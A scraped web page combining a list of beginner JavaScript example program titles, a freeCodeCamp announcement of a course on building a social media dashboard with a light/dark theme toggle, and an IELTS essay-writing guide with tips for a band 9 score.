  • JavaScript Program to Display Fibonacci Sequence Using Recursion
  • JavaScript Program to Find Factorial of Number Using Recursion
  • JavaScript Program to Convert Decimal to Binary
  • JavaScript Program to Find ASCII Value of Character
  • JavaScript Program to Check Whether a String is Palindrome or Not
  • JavaScript Program to Sort Words in Alphabetical Order
  • JavaScript Program to Replace Characters of a String
  • JavaScript Program to Reverse a String
  • JavaScript Program to Create Objects in Different Ways
  • JavaScript Program to Check the Number of Occurrences of a Character in the String
  • JavaScript Program to Convert the First Letter of a String into UpperCase
  • JavaScript Program to Count the Number of Vowels in a String
  • JavaScript Program to Remove a Property from an Object
  • JavaScript Program to Check Whether a String Starts and Ends With Certain Characters
  • JavaScript Program to Check if a Key Exists in an Object
  • JavaScript Program to Clone a JS Object
  • JavaScript Program to Loop Through an Object
  • JavaScript Program to Merge Property of Two Objects
  • JavaScript Program to Count the Number of Keys/Properties in an Object
  • JavaScript Program to Add Key/Value Pair to an Object
  • JavaScript Program to Replace All Occurrences of a String
  • JavaScript Program to Create Multiline Strings
  • JavaScript Program to Format Numbers as Currency Strings
  • JavaScript Program to Generate Random String
  • JavaScript Program to Check if a String Starts With Another String
  • JavaScript Program to Trim a String
  • JavaScript Program to Convert Objects to Strings
  • JavaScript Program to Check Whether a String Contains a Substring
  • JavaScript Program to Compare Two Strings
  • JavaScript Program to Encode a String to Base64
  • JavaScript Program to Replace all Instances of a Character in a String
  • JavaScript Program to Replace All Line Breaks with
  • JavaScript Program to Display Date and Time
  • JavaScript Program to Check Leap Year
  • JavaScript Program to Format the Date
  • Javascript Program to Display Current Date
  • JavaScript Program to Compare The Value of Two Dates
  • JavaScript Program to Create Countdown Timer
  • JavaScript Program to Remove Specific Item From an Array
  • JavaScript Program to Check if An Array Contains a Specified Value
  • JavaScript Program to Insert Item in an Array
  • JavaScript Program to Append an Object to an Array
  • JavaScript Program to Check if An Object is An Array
  • JavaScript Program to Empty an Array
  • JavaScript Program to Add Element to Start of an Array
  • JavaScript Program to Remove Duplicates From Array
  • JavaScript Program to Merge Two Arrays and Remove Duplicate Items
  • JavaScript Program to Sort Array of Objects by Property Values
  • JavaScript Program to Create Two Dimensional Array
  • JavaScript Program to Extract Given Property Values from Objects as Array
  • JavaScript Program to Compare Elements of Two Arrays
  • JavaScript Program to Get Random Item From an Array
  • JavaScript Program To Perform Intersection Between Two Arrays
  • JavaScript Program to Split Array into Smaller Chunks
  • JavaScript Program to Include a JS file in Another JS file
  • JavaScript Program to Get File Extension
  • JavaScript Program To Check If A Variable Is undefined or null
  • JavaScript Program to Set a Default Parameter Value For a Function
  • JavaScript Program to Illustrate Different Set Operations
  • Javascript Program to Generate a Random Number Between Two Numbers
  • JavaScript Program To Get The Current URL
  • JavaScript Program to Validate An Email Address
  • JavaScript Program to Check If a Variable is of Function Type
  • JavaScript Program To Work With Constants
  • JavaScript Program to Pass Parameter to a setTimeout() Function
  • JavaScript Program to Generate a Range of Numbers and Characters
  • JavaScript Program to Perform Function Overloading
  • JavaScript Program to Implement a Stack
  • JavaScript Program to Implement a Queue
  • JavaScript Program to Check if a Number is Float or Integer
  • JavaScript Program to Pass a Function as Parameter
  • JavaScript Program to Get the Dimensions of an Image
  • JavaScript Program to Remove All Whitespaces From a Text
  • JavaScript Program to Write to Console
  • JavaScript Program to Convert Date to Number

JS Tutorial

Js versions, js functions, js html dom, js browser bom, js web apis, js vs jquery, js graphics, js examples, js references, javascript examples, what can javascript do.

Examples Explained

Where to Insert JavaScript

Where to Explained

JavaScript Output

Output Explained

JavaScript Syntax

Syntax Explained


JavaScript Statements

Statements Explained

JavaScript Comments

Comments Explained

JavaScript Variables

Variables Explained

JavaScript Arithmetic

Arithmetic Explained

JavaScript Assignment

Assignment Explained

JavaScript String Concatenation

Concatenation Explained

JavaScript Data Types

Data types Explained

JavaScript Objects

Objects Explained

JavaScript Functions

Functions Explained

JavaScript Events

Events Explained

JavaScript Strings

Strings Explained

JavaScript Numbers

Numbers Explained

JavaScript Number Methods

Numbers Methods Explained

JavaScript Maths

Maths Explained

JavaScript Random

Random Explained

JavaScript Dates

Dates Explained

JavaScript Arrays

Arrays Explained

JavaScript Array Methods

Array Methods Explained

JavaScript Array Sort

Array Sort Explained

JavaScript Array Iteration

Array Iteration Explained

JavaScript Type Conversion

Type Conversion Explained

JavaScript Booleans

Booleans Explained

JavaScript Comparisons

Comparisons Explained

JavaScript Conditionals

Conditionals Explained

JavaScript Loops

Loops Explained

JavaScript Error Handling

Errors Explained

JavaScript Regular Expressions

Javascript object properties.

Object Properties Explained

JSON Objects

JSON Object Properties Explained

JSON Arrays

JSON Arrays Explained

JSON Parse Explained

JSON Stringify

JSON Stringify Explained

JSON PHP Explained

JSON HTML Explained

JSON JSONP Explained

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Create a Simple Website with HTML, CSS, JavaScript

Beau Carnes

Embark on an exciting journey to master frontend development with this course created by Jess, the expert behind the acclaimed Coder Coder YouTube channel.

This comprehensive course on the freeCodeCamp.org YouTube channel is tailored to empower you with the knowledge and skills required to excel in JavaScript, HTML, and CSS, all while constructing an eye-catching social media dashboard equipped with a dark/light theme toggle.

Designed around the beginner-oriented Frontend Mentor challenge, this course guides you through the process of developing a landing page that closely mirrors the provided design. Feel free to utilize any tools you're comfortable with or wish to practice, as the primary focus lies in implementing a smooth color theme toggle through JavaScript.

By taking this course, users will be able to:

  • Use HTML, CSS, and JavaScript to build a simple site
  • Optimize site layouts for different screen sizes
  • Incorporate hover states for all interactive elements
  • Toggle color themes based on their preferences

The course is divided into five parts:

Part 1: Laying the Foundation

  • Introduction
  • Understanding functional design requirements
  • Creating accessible form controls
  • Updating CSS custom properties with JS
  • Implementing screen reader-only text

Part 2: Preparing the Development Environment

  • Creating a GitHub repository
  • Setting up SCSS and JS files
  • Establishing a Gulp workflow

Part 3: Diving into the Design

  • Analyzing the design
  • Constructing the top bar
  • Utilizing accessible markup
  • Styling the top bar
  • Styling the theme toggle and enhancing accessibility

Part 4: Building the Social Media Dashboard

  • Introduction to BEM and planning class names
  • Adding markup and SCSS selectors for the cards
  • Applying styles to the cards
  • Creating card grid layouts with flexbox and CSS grid
  • Styling the top bars on the cards
  • Implementing bottom card markup and styles

Part 5: Enhancing the Theme Toggle

  • Modifying the toggle based on user comments
  • Loading light or dark themes based on system preferences
  • Developing toggle logic to switch between light and dark themes manually
  • Saving toggle settings in local storage

Join Jess from Coder Coder on this exciting journey and level up your frontend development skills. Whether you're a novice or have some experience under your belt, this course is the perfect opportunity to learn and grow as a web developer.

Watch the full course on the freeCodeCamp.org YouTube channel (7-hour watch).

I'm a teacher and developer with freeCodeCamp.org. I run the freeCodeCamp.org YouTube channel.

If you read this far, thank the author to show them you care. Say Thanks

Learn to code for free. freeCodeCamp's open source curriculum has helped more than 40,000 people get jobs as developers. Get started

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How to Write IELTS Essays to Score Band 9!

Planning to go study or work abroad? Aiming for excellent scores in your IELTS writing? Do you wish to get a band 9 score? Say no more because this is the article for you! Please go through this article to find writing tips, and applicants must get essay samples, which will help you get a band 9 in your IELTS essay. Taking the IELTS test is mandatory for studying or employment abroad, therefore it is essential that applicants get excellent scores in the writing section of the test.

Achieving a score of band 9 in the IELTS Writing requires a mastery of language and also knowledge of the assessment criteria and good writing strategies for the exam. Whether you are a beginner or an experienced applicant, going through this article will help you in turning your essay-writing skills from good to great!

Table of Content

IELTS Writing Section

1. writing – academic, 2. writing – general training.

  • IELTS Writing task 2: Essay Writing – Important tips for Band 9 score

Step 1: Understand the question/task

Step 2: structure your ideas, step 3: start with a captivating introduction, step 4: write focused paragraphs, step 5: display good vocabulary and language skills, step 6: conclude properly:, step 7: edit and revise your essay:, step 8: avoid being redundant:, step 9: more is not always the best, step 10: diligently practice time management, step 11: seek help from experienced tutors and high-quality prep materials, sample essays for ielts to achieve a band score of 9, sample 1: discussion essay, sample 2: problems and solutions essay, sample 3: advantages and disadvantages essay, how to write ielts essays- faqs, can we use formal idioms in ielts writing, what are 4 types of ielts essay, how to identify essay type, what is important in ielts writing, what is not allowed in ielts writing.

The most crucial part of test preparation for IELTS includes the writing section. The duration of test is 60 minutes and the writing section includes two parts- Academic and General Training, both of which have two tasks each. All of them are explained below for a better understanding of the candidates:

The Academic section of the Writing test includes two tasks, each covering topics of general relevance and suitability for individuals enrolling for undergraduate or postgraduate studies, or those seeking professional employment.

The General Training section of the Writing test also includes two tasks that focus on topics of general interest, which were made to assess candidates’ ability to communicate properly in common real-life situations.

IELTS Writing Task 2: Essay Writing – Important tips for Band 9 score

Given below is a step-by-step guide to the IELTS Essay writing task:

  • Grasp the keyword in the question to ensure a high score in essay writing.
  • Carefully read and comprehend the question before answering. Identify the type of essay they expect you to write.
  • Take note of any specific instructions like word limits, or key points to address.
  • Do not immediately start writing after reading the question and spend a few minutes generating ideas related to the question.
  • Clearly structure the outline of your essay in your mind which should include an introduction, body paragraphs, and a conclusion.
  • Decide on your main focus points for each paragraph and organize your ideas logically.
  • A captivating opening that grabs the reader’s attention is always the best way to start your essay.
  • Always provide some context to your topic in the introduction.
  • The introduction should clearly state the main focus of your essay, which will be followed throughout in the your essay.
  • Start each paragraph with a sentence that focuses on the primary concept of the essay.
  • Support your ideas with relevant examples, facts, or evidence.
  • Make sure that the transitions between paragraphs are smooth and comprehensive.
  • Make sure to use an extensive range of vocabulary and grammatical structures.
  • Express your ideas precisely and accurately.
  • Use proverbs and phrases, if you can in relation to the topic.
  • Provide a concise summary of the key points focused in the whole essay.
  • Give a proper closing statement.
  • Leave the reader with a lasting impression or a thought-provoking question.
  • Allot some time in the end to re-read your essay to make sure there are no grammatical errors or spelling mistakes.
  • Make necessary revisions to improve overall quality of your essay.
  • Make sure your paragraphs are coherent and comprehensive.
  • Make sure your answers are not repetitive.
  • Avoid writing irrelevant information and unnecessarily repeating something. It will only make your writing too long and distract the examiner.
  • The idea that lengthy essays will get you more marks is not always true.
  • Ensure that you write approx. 300 words in task 2 as reading long answers can be frustrating for the examiner.
  • Writing lengthy essays will also leave you with less time to revise.
  • Make sure you have appropriate amount of time for each task.
  • Practice writing essays within the given time limit to develop speed and efficiency.
  • Keep track of your progress and adjust your writing speed accordingly.
  • Share your essays with a teacher or experienced tutors for feedback.
  • Identify areas that need improvement and work on enhancing those skills.
  • Practice writing essays regularly to refine your technique.

Follow these guidelines to practice your essay writing skills and boost your confidence!

Some sample essays are given below in order to help the candidates enhance their writing skills:

Related Articles English Essay Writing Tips, Examples, Format IELTS Academic Test Experience IELTS Exam Pattern 2024: Section-wise IELTS Exam Paper Pattern, Question Types IELTS Exam Syllabus 2024 (Section-Wise): Listening, Reading, Writing & Speaking

Writing is an important aspect of the IELTS exam. Getting excellent scores in essay writing will definitely improve the prospects of clearing the exam for the applicants. A good understanding of the English language and a proper grasp of grammar along with the knowledge of how the writing will be assessed in the exam are the key to scoring band 9 in essay writing. Diligently practicing with a timer, and seeking feedback from experienced tutor will greatly improve one writing skills and help boost their confidence, which are important for achieving excellent scores in essay writing.

Only use idioms when it is appropriate. Writing Task 1 Academic, Writing Task 2 and formal letters are not appropriate as they require a formal tone. Don’t overuse idioms in the Speaking test. Don’t use idioms you don’t understand.
Some of the essay types seen in IELTS exams are- 1. Opinion essays (Agree or Disagree) 2. Advantages and Disadvantages essays. 3. Discussion (Discuss Both Views) essays. 4. Problem and Solution essays
Argumentative and expository essays are focused on conveying information and making clear points, while narrative and descriptive essays are about exercising creativity and writing in an interesting way.
On all writing tasks, paragraphing is important. You will really limit your score if you don’t use paragraphs or don’t use them well. So, make sure when you are preparing for the exam , you must review and practice proper paragraphs. A few key ideas here are topic sentences, supporting ideas, and staying on topic.
Avoid using contractions in your sentences. Example, can’t, don’t, it’s etc. Slang words and colloquialisms should be avoided in the writing tasks. Do not use the same words repeatedly.

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